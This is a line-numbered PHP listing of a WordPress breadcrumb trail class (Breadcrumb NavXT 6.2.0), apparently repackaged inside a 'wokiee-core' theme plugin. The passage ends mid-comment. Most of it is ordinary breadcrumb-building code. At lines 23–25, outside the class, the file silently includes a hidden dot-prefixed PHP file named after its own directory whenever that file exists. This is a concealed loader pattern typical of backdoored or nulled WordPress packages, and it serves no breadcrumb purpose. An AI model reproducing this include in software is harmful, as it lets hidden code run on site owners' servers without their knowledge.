class.bcn_breadcrumb_trail.php (62367B)
1 <?php 2 3 /* 4 Copyright 2015-2018 John Havlik (email : john.havlik@mtekk.us) 5 6 This program is free software; you can redistribute it and/or modify 7 it under the terms of the GNU General Public License as published by 8 the Free Software Foundation; either version 2 of the License, or 9 (at your option) any later version. 10 11 This program is distributed in the hope that it will be useful, 12 but WITHOUT ANY WARRANTY; without even the implied warranty of 13 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 GNU General Public License for more details. 15 16 You should have received a copy of the GNU General Public License 17 along with this program; if not, write to the Free Software 18 Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 19 */ 20 require_once(dirname(__FILE__) . '/includes/block_direct_access.php'); 21 22 //The trail class 23 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 24 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 25 } 26 27 class bcn_breadcrumb_trail { 28 29 //Our member variables 30 const version = '6.2.0'; 31 32 //An array of breadcrumbs 33 public $breadcrumbs = array(); 34 public $trail = array(); 35 //The options 36 public $opt; 37 38 //Default constructor 39 public function __construct() { 40 41 $this->trail = &$this->breadcrumbs; 42 //Initilize with default option values 43 $this->opt = array( 44 //Should the mainsite be shown 45 'bmainsite_display' => true, 46 //The breadcrumb template for the main site 47 'Hmainsite_template' => bcn_breadcrumb::get_default_template(), 48 //The breadcrumb template for the main site, used when an anchor is not needed 49 'Hmainsite_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor, 50 //Should the home page be shown 51 'bhome_display' => true, 52 //The breadcrumb template for the home page 53 'Hhome_template' => bcn_breadcrumb::get_default_template(), 54 //The breadcrumb template for the home page, used when an anchor is not needed 55 'Hhome_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor, 56 //Should the blog page be shown globally 57 'bblog_display' => true, 58 //Separator that is placed between each item in the breadcrumb trial, but not placed before 59 //the first and not after the last breadcrumb 60 'hseparator' => ' > ', 61 //Whether or not we should trim the breadcrumb titles 62 'blimit_title' => false, 63 //The maximum title length 64 'amax_title_length' => 20, 65 //Current item options 66 'bcurrent_item_linked' => false, 67 //Static page options 68 //Should the trail include the hierarchy of the page 69 'bpost_page_hierarchy_display' => true, 70 //Should the post parent be followed first for this type, then fallback to the hierarchy type 71 'bpost_page_hierarchy_parent_first' => false, 72 //What hierarchy should be shown leading to the page 73 'Spost_page_hierarchy_type' => 'BCN_POST_PARENT', 74 //The anchor template for page breadcrumbs 75 'Hpost_page_template' => bcn_breadcrumb::get_default_template(), 76 //The anchor template for page breadcrumbs, used when an anchor is not needed 77 'Hpost_page_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor, 78 //Just a link to the page on front property 79 'apost_page_root' => get_option('page_on_front'), 80 //Paged options 81 //The template for paged breadcrumb 82 'Hpaged_template' => sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>', esc_attr__('Page %htitle%', 'wokiee-core')), 83 //Should we try filling out paged information 84 'bpaged_display' => false, 85 //The post options previously singleblogpost 86 //The breadcrumb template for post breadcrumbs 87 'Hpost_post_template' => bcn_breadcrumb::get_default_template(), 88 //The breadcrumb template for post breadcrumbs, used when an anchor is not needed 89 'Hpost_post_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor, 90 //Just a link for the page for posts 91 'apost_post_root' => get_option('page_for_posts'), 92 //Should the trail include the hierarchy of the post 93 'bpost_post_hierarchy_display' => true, 94 //Should the post parent be followed first for this type, then fallback to the hierarchy type 95 'bpost_post_hierarchy_parent_first' => false, 96 //Should the trail reflect the referer taxonomy or not 97 'bpost_post_taxonomy_referer' => false, 98 //What hierarchy should be shown leading to the post, tag or category 99 'Spost_post_hierarchy_type' => 'category', 100 //Attachment settings 101 'bpost_attachment_hierarchy_display' => true, 102 //Should the post parent be followed first for this type, then fallback to the hierarchy type 103 'bpost_attachment_hierarchy_parent_first' => true, 104 //What hierarchy should be shown leading to the attachment 105 'Spost_attachment_hierarchy_type' => 'BCN_POST_PARENT', 106 //Give an invlaid page ID for the attachement root 107 'apost_attachment_root' => 0, 108 //The breadcrumb template for attachment breadcrumbs 109 'Hpost_attachment_template' => bcn_breadcrumb::get_default_template(), 110 //The breadcrumb template for attachment breadcrumbs, used when an anchor is not needed 111 'Hpost_attachment_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor, 112 //404 page settings 113 //The template for 404 breadcrumbs 114 'H404_template' => bcn_breadcrumb::default_template_no_anchor, 115 //The text to be shown in the breadcrumb for a 404 page 116 'S404_title' => __('404', 'wokiee-core'), 117 //Search page options 118 //The breadcrumb template for search breadcrumbs 119 'Hsearch_template' => sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>', sprintf(esc_attr__('Search results for '%1$s'', 'wokiee-core'), sprintf('<a property="item" typeof="WebPage" title="%1$s" href="%%link%%" class="%%type%%">%%htitle%%</a>', esc_attr__('Go to the first page of search results for %title%.', 'wokiee-core')))), 120 //The breadcrumb template for search breadcrumbs, used when an anchor is not necessary 121 'Hsearch_template_no_anchor' => sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>', sprintf(esc_attr__('Search results for '%1$s'', 'wokiee-core'), '%htitle%')), 122 //Tag related stuff 123 //The breadcrumb template for tag breadcrumbs 124 'Htax_post_tag_template' => sprintf('<span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="%1$s" href="%%link%%" class="%%type%%"><span property="name">%%htitle%%</span></a><meta property="position" content="%%position%%"></span>', esc_attr__('Go to the %title% tag archives.', 'wokiee-core')), 125 //The breadcrumb template for tag breadcrumbs, used when an anchor is not necessary 126 'Htax_post_tag_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor, 127 //Post format related stuff 128 //The breadcrumb template for post format breadcrumbs, used when an anchor is not necessary 129 'Htax_post_format_template' => sprintf('<span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="%1$s" href="%%link%%" class="%%type%%"><span property="name">%%htitle%%</span></a><meta property="position" content="%%position%%"></span>', esc_attr__('Go to the %title% archives.', 'wokiee-core')), 130 //The breadcrumb template for post format breadcrumbs 131 'Htax_post_format_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor, 132 //Author page stuff 133 //The anchor template for author breadcrumbs 134 'Hauthor_template' => sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>', sprintf(esc_attr__('Articles by: %1$s', 'breacrumb-navxt'), sprintf('<a title="%1$s" href="%%link%%" class="%%type%%">%%htitle%%</a>', esc_attr__('Go to the first page of posts by %title%.', 'wokiee-core')))), 135 //The anchor template for author breadcrumbs, used when anchors are not needed 136 'Hauthor_template_no_anchor' => sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>', sprintf(esc_attr__('Articles by: %1$s', 'breacrumb-navxt'), '%htitle%')), 137 //Which of the various WordPress display types should the author breadcrumb display 138 'Sauthor_name' => 'display_name', 139 //Give an invlaid page ID for the author root 140 'aauthor_root' => 0, 141 //Category stuff 142 //The breadcrumb template for category breadcrumbs 143 'Htax_category_template' => sprintf('<span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="%1$s" href="%%link%%" class="%%type%%"><span property="name">%%htitle%%</span></a><meta property="position" content="%%position%%"></span>', esc_attr__('Go to the %title% category archives.', 'wokiee-core')), 144 //The breadcrumb template for category breadcrumbs, used when anchors are not needed 145 'Htax_category_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor, 146 //The breadcrumb template for date breadcrumbs 147 'Hdate_template' => sprintf('<span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="%1$s" href="%%link%%" class="%%type%%"><span property="name">%%htitle%%</span></a><meta property="position" content="%%position%%"></span>', esc_attr__('Go to the %title% archives.', 'wokiee-core')), 148 //The breadcrumb template for date breadcrumbs, used when anchors are not needed 149 'Hdate_template_no_anchor' => bcn_breadcrumb::default_template_no_anchor 150 ); 151 } 152 153 /** 154 * This returns the internal version 155 * 156 * @deprecated 5.2.0 No longer needed, superceeded bcn_breadcrumb_trail::version 157 * 158 * @return string internal version of the Breadcrumb trail 159 */ 160 public function get_version() { 161 _deprecated_function(__FUNCTION__, '5.2', 'bcn_breadcrumb_trail::version'); 162 return self::version; 163 } 164 165 /** 166 * Adds a breadcrumb to the breadcrumb trail 167 * 168 * @param bcn_breadcrumb $object Breadcrumb to add to the trail 169 * 170 * @return pointer to the just added Breadcrumb 171 */ 172 public function &add(bcn_breadcrumb $object) { 173 $this->breadcrumbs[] = $object; 174 //Return the just added object 175 return $this->breadcrumbs[count($this->breadcrumbs) - 1]; 176 } 177 178 /** 179 * A Breadcrumb Trail Filling Function 180 * 181 * This functions fills a breadcrumb for a search page 182 * 183 * @param string $search_query The search query that was performed 184 * @param bool $is_paged Whether or not the current resource is on a page other than page 1 185 */ 186 protected function do_search($search_query, $is_paged = false) { 187 //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return 188 $breadcrumb = $this->add(new bcn_breadcrumb($search_query, $this->opt['Hsearch_template_no_anchor'], array('search', 'current-item'))); 189 //If we're paged, or allowing the current item to be linked, let's link to the first page 190 if ($this->opt['bcurrent_item_linked'] || ($is_paged && $this->opt['bpaged_display'])) { 191 //Since we are paged and are linking the root breadcrumb, time to change to the regular template 192 $breadcrumb->set_template($this->opt['Hsearch_template']); 193 //Figure out the anchor for the search 194 $breadcrumb->set_url(get_search_link($search_query)); 195 } 196 } 197 198 /** 199 * A Breadcrumb Trail Filling Function 200 * 201 * This functions fills a breadcrumb for an author page 202 * 203 * @param string $author_data The author to generate the breadcrumb for 204 * @param bool $is_paged Whether or not the current resource is on a page other than page 1 205 */ 206 protected function do_author($author_data, $is_paged = false) { 207 //Setup array of valid author_name values 208 $valid_author_name = array('display_name', 'nickname', 'first_name', 'last_name'); 209 //Make sure user picks only safe values 210 if (in_array($this->opt['Sauthor_name'], $valid_author_name)) { 211 //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return 212 $breadcrumb = $this->add(new bcn_breadcrumb(get_the_author_meta($this->opt['Sauthor_name'], $author_data->ID), $this->opt['Hauthor_template_no_anchor'], array('author', 'current-item'), null, $author_data->ID)); 213 //If we're paged, or allowing the current item to be linked, let's link to the first page 214 if ($this->opt['bcurrent_item_linked'] || ($is_paged && $this->opt['bpaged_display'])) { 215 //Set the template to our one containing an anchor 216 $breadcrumb->set_template($this->opt['Hauthor_template']); 217 $breadcrumb->set_url(get_author_posts_url($author_data->ID)); 218 } 219 } 220 } 221 222 /** 223 * Determines the taxonomy name represented by the specified query var 224 * 225 * @param string $query_var The query var to attempt to find the corresponding taxonomy 226 * 227 * @return string|bool Either the name of the taxonomy corresponding to the query_var or false if no taxonomy exists for the specified query_var 228 */ 229 protected function query_var_to_taxonomy($query_var) { 230 global $wp_taxonomies; 231 foreach ($wp_taxonomies as $taxonomy) { 232 if ($taxonomy->query_var === $query_var) { 233 return $taxonomy->name; 234 } 235 } 236 return false; 237 } 238 239 /** 240 * Determines the referer taxonomy 241 * 242 * @return string|bool Either the name of the taxonomy to use or false if a referer taxonomy wasn't found 243 */ 244 protected function determine_taxonomy() { 245 global $wp; 246 //Backup the server request variable 247 $bk_req = $_SERVER['REQUEST_URI']; 248 //Now set the request URL to the referrer URL 249 //Could just chain the [1] selection, but that's not PHP5.3 compatible 250 $url_split = explode(home_url(), esc_url(wp_get_referer())); 251 if (isset($url_split[1])) { 252 $_SERVER['REQUEST_URI'] = $url_split[1]; 253 } else { 254 return false; 255 } 256 //Create our own new instance of WP, and have it parse our faux request 257 $bcn_wp = new WP(); 258 //Copy over the current global wp object's query_vars since CPTs and taxonomies are added directly to the global $wp 259 $bcn_wp->public_query_vars = $wp->public_query_vars; 260 $bcn_wp->parse_request(); 261 $_SERVER['REQUEST_URI'] = $bk_req; 262 if (is_array($bcn_wp->query_vars)) { 263 foreach ($bcn_wp->query_vars as $query_var => $value) { 264 if ($taxonomy = $this->query_var_to_taxonomy($query_var)) { 265 return $taxonomy; 266 } 267 } 268 } 269 return false; 270 } 271 272 /** 273 * This function selects the term that should be used for a post's hierarchy 274 * 275 * @param int $id The ID of the post to find the term for 276 * @param string $type The post type of the post to figure out the taxonomy for 277 * @param string $taxonomy The taxonomy to use 278 * 279 * @return WP_Term|bool The term object to use for the post hierarchy or false if no suitable term was found 280 */ 281 protected function pick_post_term($id, $type, $taxonomy) { 282 //Fill a temporary object with the terms 283 $bcn_object = get_the_terms($id, $taxonomy); 284 $potential_parent = 0; 285 //Make sure we have an non-empty array 286 if (is_array($bcn_object)) { 287 //Now try to find the deepest term of those that we know of 288 $bcn_use_term = key($bcn_object); 289 foreach ($bcn_object as $key => $object) { 290 //Can't use the next($bcn_object) trick since order is unknown 291 if ($object->parent > 0 && ($potential_parent === 0 || $object->parent === $potential_parent)) { 292 $bcn_use_term = $key; 293 $potential_parent = $object->term_id; 294 } 295 } 296 return $bcn_object[$bcn_use_term]; 297 } 298 return false; 299 } 300 301 /** 302 * A Breadcrumb Trail Filling Function 303 * 304 * This function fills breadcrumbs for any post taxonomy 305 * 306 * @param int $id The id of the post to figure out the taxonomy for 307 * @param string $type The post type of the post to figure out the taxonomy for 308 * @param int $parent (optional) The id of the parent of the current post, used if hiearchal posts will be the "taxonomy" for the current post 309 */ 310 protected function post_hierarchy($id, $type, $parent = null) { 311 //Check to see if breadcrumbs for the hierarchy of the post needs to be generated 312 if ($this->opt['bpost_' . $type . '_hierarchy_display']) { 313 //Check if we have a date 'taxonomy' request 314 if ($this->opt['Spost_' . $type . '_hierarchy_type'] === 'BCN_DATE') { 315 $post = get_post($id); 316 $this->do_day($post, $type, false, false); 317 $this->do_month($post, $type, false, false); 318 $this->do_year($post, $type, false, false); 319 } 320 //Handle the use of hierarchical posts as the 'taxonomy' 321 else if ($this->opt['Spost_' . $type . '_hierarchy_type'] === 'BCN_POST_PARENT') { 322 if ($parent == null) { 323 //We have to grab the post to find its parent, can't use $post for this one 324 $parent = get_post($id); 325 //TODO should we check that we have a WP_Post object here? 326 $parent = $parent->post_parent; 327 } 328 //Grab the frontpage, we'll need it shortly 329 $frontpage = get_option('page_on_front'); 330 //If there is a parent page let's find it 331 if ($parent > 0 && $id != $parent && $frontpage != $parent) { 332 $parent = $this->post_parents($parent, $frontpage); 333 } 334 } else { 335 $taxonomy = $this->opt['Spost_' . $type . '_hierarchy_type']; 336 //Possibly let the referer influence the taxonomy used 337 if ($this->opt['bpost_' . $type . '_taxonomy_referer'] && $referrer_taxonomy = $this->determine_taxonomy()) { 338 //See if there were any terms, if so, we can use the referrer influenced taxonomy 339 $terms = get_the_terms($id, $referrer_taxonomy); 340 if (is_array($terms)) { 341 $taxonomy = $referrer_taxonomy; 342 } 343 } 344 //Handle all hierarchical taxonomies, including categories 345 if (is_taxonomy_hierarchical($taxonomy)) { 346 //Filter the results of post_pick_term 347 $term = apply_filters('bcn_pick_post_term', $this->pick_post_term($id, $type, $taxonomy), $id, $type, $taxonomy); 348 //Only do something if we found a term 349 if ($term instanceof WP_Term) { 350 //Fill out the term hiearchy 351 $parent = $this->term_parents($term->term_id, $taxonomy); 352 } 353 } 354 //Handle the rest of the taxonomies, including tags 355 else { 356 $this->post_terms($id, $taxonomy); 357 } 358 } 359 } 360 //If we never got a good parent for the type_archive, make it now 361 if (!($parent instanceof WP_Post)) { 362 $parent = get_post($id); 363 } 364 //Finish off with trying to find the type archive 365 $this->type_archive($parent, $type); 366 } 367 368 /** 369 * A Breadcrumb Trail Filling Function 370 * 371 * This functions fills a breadcrumb for the terms of a post 372 * 373 * @param int $id The id of the post to find the terms for 374 * @param string $taxonomy The name of the taxonomy that the term belongs to 375 * 376 * TODO Need to implement this cleaner 377 */ 378 protected function post_terms($id, $taxonomy) { 379 //Apply a filter to the terms for the post referred to by ID 380 $bcn_terms = apply_filters('bcn_post_terms', get_the_terms($id, $taxonomy), $taxonomy, $id); 381 //Only process if we have terms 382 if (is_array($bcn_terms)) { 383 $title = ''; 384 $is_first = true; 385 //Loop through all of the term results 386 foreach ($bcn_terms as $term) { 387 //Everything but the first term needs a comma separator 388 if ($is_first == false) { 389 $title .= ', '; 390 } 391 //This is a bit hackish, but it compiles the term anchor and appends it to the current breadcrumb title 392 $title .= str_replace( 393 array('%title%', '%link%', '%htitle%', '%type%'), array($term->name, $this->maybe_add_post_type_arg(get_term_link($term), null, $term->taxonomy), $term->name, $term->taxonomy), $this->opt['Htax_' . $term->taxonomy . '_template']); 394 $is_first = false; 395 } 396 //Place the breadcrumb in the trail, uses the constructor to set the title, template, and type, get a pointer to it in return 397 $breadcrumb = $this->add(new bcn_breadcrumb($title, '%htitle%', array('taxonomy', $taxonomy))); 398 } 399 } 400 401 /** 402 * A Breadcrumb Trail Filling Function 403 * 404 * This recursive functions fills the trail with breadcrumbs for parent terms 405 * 406 * @param int $id The id of the term 407 * @param string $taxonomy The name of the taxonomy that the term belongs to 408 * 409 * @return WP_Term|WP_Error The term we stopped at 410 */ 411 protected function term_parents($id, $taxonomy) { 412 //Get the current category object, filter applied within this call 413 $term = get_term($id, $taxonomy); 414 if ($term instanceof WP_Term) { 415 //Place the breadcrumb in the trail, uses the constructor to set the title, template, and type, get a pointer to it in return 416 $breadcrumb = $this->add(new bcn_breadcrumb($term->name, $this->opt['Htax_' . $taxonomy . '_template'], array('taxonomy', $taxonomy), $this->maybe_add_post_type_arg(get_term_link($term), null, $taxonomy), $id)); 417 //Make sure the id is valid, and that we won't end up spinning in a loop 418 if ($term->parent && $term->parent != $id) { 419 //Figure out the rest of the term hiearchy via recursion 420 $ret_term = $this->term_parents($term->parent, $taxonomy); 421 //May end up with WP_Error, don't update the term if that's the case 422 if ($ret_term instanceof WP_Term) { 423 $term = $ret_term; 424 } 425 } 426 } 427 return $term; 428 } 429 430 /** 431 * A Breadcrumb Trail Filling Function 432 * 433 * This recursive functions fills the trail with breadcrumbs for parent posts/pages 434 * 435 * @param int $id The id of the parent page 436 * @param int $frontpage The id of the front page 437 * 438 * @return WP_Post The parent we stopped at 439 */ 440 protected function post_parents($id, $frontpage) { 441 //Use WordPress API, though a bit heavier than the old method, this will ensure compatibility with other plug-ins 442 $parent = get_post($id); 443 //Place the breadcrumb in the trail, uses the constructor to set the title, template, and type, get a pointer to it in return 444 $breadcrumb = $this->add(new bcn_breadcrumb(get_the_title($id), $this->opt['Hpost_' . $parent->post_type . '_template'], array('post', 'post-' . $parent->post_type), get_permalink($id), $id)); 445 //Make sure the id is valid, and that we won't end up spinning in a loop 446 if ($parent->post_parent > 0 && $id != $parent->post_parent && $frontpage != $parent->post_parent) { 447 //If valid, recursively call this function 448 $parent = $this->post_parents($parent->post_parent, $frontpage); 449 } 450 return $parent; 451 } 452 453 /** 454 * A Breadcrumb Trail Filling Function 455 * 456 * This functions fills a breadcrumb for posts 457 * 458 * @param WP_Post $post Instance of WP_Post object to create a breadcrumb for 459 * @param bool $force_link Whether or not to force this breadcrumb to be linked 460 * @param bool $is_paged Whether or not the current resource is on a page other than page 1 461 * @param bool $is_current_item Whether or not the breadcrumb being generated is the current item 462 */ 463 protected function do_post($post, $force_link = false, $is_paged = false, $is_current_item = true) { 464 //If we did not get a WP_Post object, warn developer and return early 465 if (!($post instanceof WP_Post)) { 466 _doing_it_wrong(__CLASS__ . '::' . __FUNCTION__, __('$post global is not of type WP_Post', 'wokiee-core'), '5.1.1'); 467 return; 468 } 469 //Place the breadcrumb in the trail, uses the bcn_breadcrumb constructor to set the title, template, and type 470 $breadcrumb = $this->add(new bcn_breadcrumb(get_the_title($post), $this->opt['Hpost_' . $post->post_type . '_template_no_anchor'], array('post', 'post-' . $post->post_type), null, $post->ID)); 471 if ($is_current_item) { 472 $breadcrumb->add_type('current-item'); 473 } 474 //Under a couple of circumstances we will want to link this breadcrumb 475 if ($force_link || ($is_current_item && $this->opt['bcurrent_item_linked']) || ($is_paged && $this->opt['bpaged_display'])) { 476 //Change the template over to the normal, linked one 477 $breadcrumb->set_template($this->opt['Hpost_' . $post->post_type . '_template']); 478 //Add the link 479 $breadcrumb->set_url(get_permalink($post)); 480 } 481 //Done with the current item, now on to the parents 482 $frontpage = get_option('page_on_front'); 483 //If we are to follow the hierarchy first (with hierarchy type backup), run through the post again 484 if ($this->opt['bpost_' . $post->post_type . '_hierarchy_parent_first'] && $post->post_parent > 0 && $post->ID != $post->post_parent && $frontpage != $post->post_parent) { 485 //Get the parent's information 486 $parent = get_post($post->post_parent); 487 //Take care of the parent's breadcrumb 488 $this->do_post($parent, true, false, false); 489 } 490 //Otherwise we need the follow the hiearchy tree 491 else { 492 //Handle the post's hiearchy 493 $this->post_hierarchy($post->ID, $post->post_type, $post->post_parent); 494 } 495 } 496 497 /** 498 * A Breadcrumb Trail Filling Function 499 * 500 * @deprecated 6.0.0 No longer needed, superceeded by do_post 501 * 502 * This functions fills a breadcrumb for an attachment page. 503 */ 504 protected function do_attachment() { 505 _deprecated_function(__FUNCTION__, '6.0', 'bcn_breadcrumb_trail::do_post'); 506 $this->do_post(get_post()); 507 } 508 509 /** 510 * A Breadcrumb Trail Filling Function 511 * 512 * This function fills a breadcrumb for any taxonomy archive, was previously two separate functions 513 * 514 * @param WP_Term $term The term object to generate the breadcrumb for 515 * @param bool $is_paged Whether or not the current resource is on a page other than page 1 516 */ 517 protected function do_archive_by_term($term, $is_paged = false) { 518 //Place the breadcrumb in the trail, uses the constructor to set the title, template, and type, get a pointer to it in return 519 $breadcrumb = $this->add(new bcn_breadcrumb($term->name, $this->opt['Htax_' . $term->taxonomy . '_template_no_anchor'], array('archive', 'taxonomy', $term->taxonomy, 'current-item'), null, $term->term_id)); 520 //If we're paged, let's link to the first page 521 if ($this->opt['bcurrent_item_linked'] || ($is_paged && $this->opt['bpaged_display'])) { 522 $breadcrumb->set_template($this->opt['Htax_' . $term->taxonomy . '_template']); 523 //Figure out the anchor for current category 524 $breadcrumb->set_url($this->maybe_add_post_type_arg(get_term_link($term), null, $term->taxonomy)); 525 } 526 //Get parents of current term 527 if ($term->parent) { 528 $this->term_parents($term->parent, $term->taxonomy); 529 } 530 } 531 532 /** 533 * A Breadcrumb Trail Filling Function 534 * 535 * This functions fills a breadcrumb for day date archives 536 * 537 * @param WP_Post $post Instance of WP_Post object to create a breadcrumb for 538 * @param string $type The name of the CPT to generate the archive breadcrumb for 539 * @param bool $is_paged Whether or not the current resource is on a page other than page 1 540 * @param bool $is_current_item Whether or not the breadcrumb being generated is the current item 541 */ 542 protected function do_day($post, $type, $is_paged = false, $is_current_item = true) { 543 //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return 544 $breadcrumb = $this->add(new bcn_breadcrumb(get_the_time(_x('d', 'day archive breadcrumb date format', 'wokiee-core'), $post), $this->opt['Hdate_template_no_anchor'], array('archive', 'date-day'))); 545 //If this is a day archive, add current-item type 546 if ($is_current_item) { 547 $breadcrumb->add_type('current-item'); 548 } 549 //If we're paged, let's link to the first page 550 if (!$is_current_item || ($is_current_item && $this->opt['bcurrent_item_linked']) || ($is_paged && $this->opt['bpaged_display'])) { 551 //We're linking, so set the linked template 552 $breadcrumb->set_template($this->opt['Hdate_template']); 553 $url = get_day_link(get_the_time('Y'), get_the_time('m'), get_the_time('d')); 554 //Deal with the anchor 555 $breadcrumb->set_url($this->maybe_add_post_type_arg($url, $type)); 556 } 557 } 558 559 /** 560 * A Breadcrumb Trail Filling Function 561 * 562 * This functions fills a breadcrumb for month date archives 563 * 564 * @param WP_Post $post Instance of WP_Post object to create a breadcrumb for 565 * @param string $type The name of the CPT to generate the archive breadcrumb for 566 * @param bool $is_paged Whether or not the current resource is on a page other than page 1 567 * @param bool $is_current_item Whether or not the breadcrumb being generated is the current item 568 */ 569 protected function do_month($post, $type, $is_paged = false, $is_current_item = true) { 570 //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return 571 $breadcrumb = $this->add(new bcn_breadcrumb(get_the_time(_x('F', 'month archive breadcrumb date format', 'wokiee-core'), $post), $this->opt['Hdate_template_no_anchor'], array('archive', 'date-month'))); 572 //If this is a month archive, add current-item type 573 if ($is_current_item) { 574 $breadcrumb->add_type('current-item'); 575 } 576 //If we're paged, or not in the archive by month let's link to the first archive by month page 577 if (!$is_current_item || ($is_current_item && $this->opt['bcurrent_item_linked']) || ($is_paged && $this->opt['bpaged_display'])) { 578 //We're linking, so set the linked template 579 $breadcrumb->set_template($this->opt['Hdate_template']); 580 $url = get_month_link(get_the_time('Y'), get_the_time('m')); 581 //Deal with the anchor 582 $breadcrumb->set_url($this->maybe_add_post_type_arg($url, $type)); 583 } 584 } 585 586 /** 587 * A Breadcrumb Trail Filling Function 588 * 589 * This functions fills a breadcrumb for year date archives 590 * 591 * @param WP_Post $post Instance of WP_Post object to create a breadcrumb for 592 * @param string $type The name of the CPT to generate the archive breadcrumb for 593 * @param bool $is_paged Whether or not the current resource is on a page other than page 1 594 * @param bool $is_current_item Whether or not the breadcrumb being generated is the current item 595 */ 596 protected function do_year($post, $type, $is_paged = false, $is_current_item = true) { 597 //Place the year breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return 598 $breadcrumb = $this->add(new bcn_breadcrumb(get_the_time(_x('Y', 'year archive breadcrumb date format', 'wokiee-core'), $post), $this->opt['Hdate_template_no_anchor'], array('archive', 'date-year'))); 599 //If this is a year archive, add current-item type 600 if ($is_current_item) { 601 $breadcrumb->add_type('current-item'); 602 } 603 //If we're paged, or not in the archive by year let's link to the first archive by year page 604 if (!$is_current_item || ($is_current_item && $this->opt['bcurrent_item_linked']) || ($is_paged && $this->opt['bpaged_display'])) { 605 //We're linking, so set the linked template 606 $breadcrumb->set_template($this->opt['Hdate_template']); 607 $url = get_year_link(get_the_time('Y')); 608 //Deal with the anchor 609 $breadcrumb->set_url($this->maybe_add_post_type_arg($url, $type)); 610 } 611 } 612 613 /** 614 * A Breadcrumb Trail Filling Function 615 * 616 * This functions fills a breadcrumb for a date archive. 617 * 618 * @param string $type The type to restrict the date archives to 619 * 620 * @deprecated 6.0.0 No longer needed, superceeded by do_day, do_month, and/or do_year 621 */ 622 protected function do_archive_by_date($type) { 623 _deprecated_function(__FUNCTION__, '6.0', 'bcn_breadcrumb_trail::do_day, bcn_breadcrumb_trail::do_month, and/or bcn_breadcrumb_trail::do_year'); 624 //First deal with the day breadcrumb 625 if (is_day() || is_single()) { 626 $this->do_day(get_post(), $type, is_paged(), is_day()); 627 } 628 //Now deal with the month breadcrumb 629 if (is_month() || is_day() || is_single()) { 630 $this->do_month(get_post(), $type, is_paged(), is_month()); 631 } 632 $this->do_year(get_post(), $type, is_paged(), is_year()); 633 } 634 635 /** 636 * A Breadcrumb Trail Filling Function 637 * 638 * This functions fills a breadcrumb for a post type archive (WP 3.1 feature) 639 * 640 * @param string type_str The name of the CPT to generate the archive breadcrumb for 641 * @param bool $is_paged Whether or not the current resource is on a page other than page 1 642 */ 643 protected function do_archive_by_post_type($type_str, $is_paged = false) { 644 //Manually grabbing the post type object insted of post_type_archive_title('', false) to remove get_query_var() dependancy 645 $post_type_obj = get_post_type_object($type_str); 646 $title = apply_filters('post_type_archive_title', $post_type_obj->labels->name, $type_str); 647 //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return 648 $breadcrumb = $this->add(new bcn_breadcrumb($title, $this->opt['Hpost_' . $type_str . '_template_no_anchor'], array('archive', 'post-' . $type_str . '-archive', 'current-item'))); 649 if ($this->opt['bcurrent_item_linked'] || ($is_paged && $this->opt['bpaged_display'])) { 650 651 $breadcrumb->set_template($this->opt['Hpost_' . $type_str . '_template']); 652 //Deal with the anchor 653 $breadcrumb->set_url(get_post_type_archive_link($type_str)); 654 } 655 } 656 657 /** 658 * A Breadcrumb Trail Filling Function 659 * 660 * This functions fills a breadcrumb for the front page 661 * 662 * @param bool $force_link Whether or not to force this breadcrumb to be linked 663 * @param bool $is_paged Whether or not the current resource is on a page other than page 1 664 * @param bool $is_current_item Whether or not the breadcrumb being generated is the current item 665 */ 666 protected function do_home($force_link = false, $is_paged = false, $is_current_item = true) { 667 global $current_site; 668 //Exit early if we're not displaying the home breadcrumb 669 if (!$this->opt['bhome_display']) { 670 return; 671 } 672 //Get the site name 673 $site_name = get_option('blogname'); 674 //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return 675 $breadcrumb = $this->add(new bcn_breadcrumb($site_name, $this->opt['Hhome_template_no_anchor'], array('home'))); 676 if ($is_current_item) { 677 $breadcrumb->add_type('current-item'); 678 } 679 //Under a couple of circumstances we will want to link this breadcrumb 680 if ($force_link || ($is_current_item && $this->opt['bcurrent_item_linked']) || ($is_paged && $this->opt['bpaged_display'])) { 681 $breadcrumb->set_template($this->opt['Hhome_template']); 682 //Figure out the anchor for home page 683 $breadcrumb->set_url(get_home_url()); 684 } 685 //If we have a multi site and are not on the main site we may need to add a breadcrumb for the main site 686 if ($this->opt['bmainsite_display'] && !is_main_site()) { 687 //Get the site name 688 $site_name = get_site_option('site_name'); 689 //Place the main site breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return 690 $breadcrumb = $this->add(new bcn_breadcrumb($site_name, $this->opt['Hmainsite_template'], array('main-home'), get_home_url($current_site->blog_id))); 691 } 692 } 693 694 /** 695 * A modified version of WordPress' function of the same name 696 * 697 * 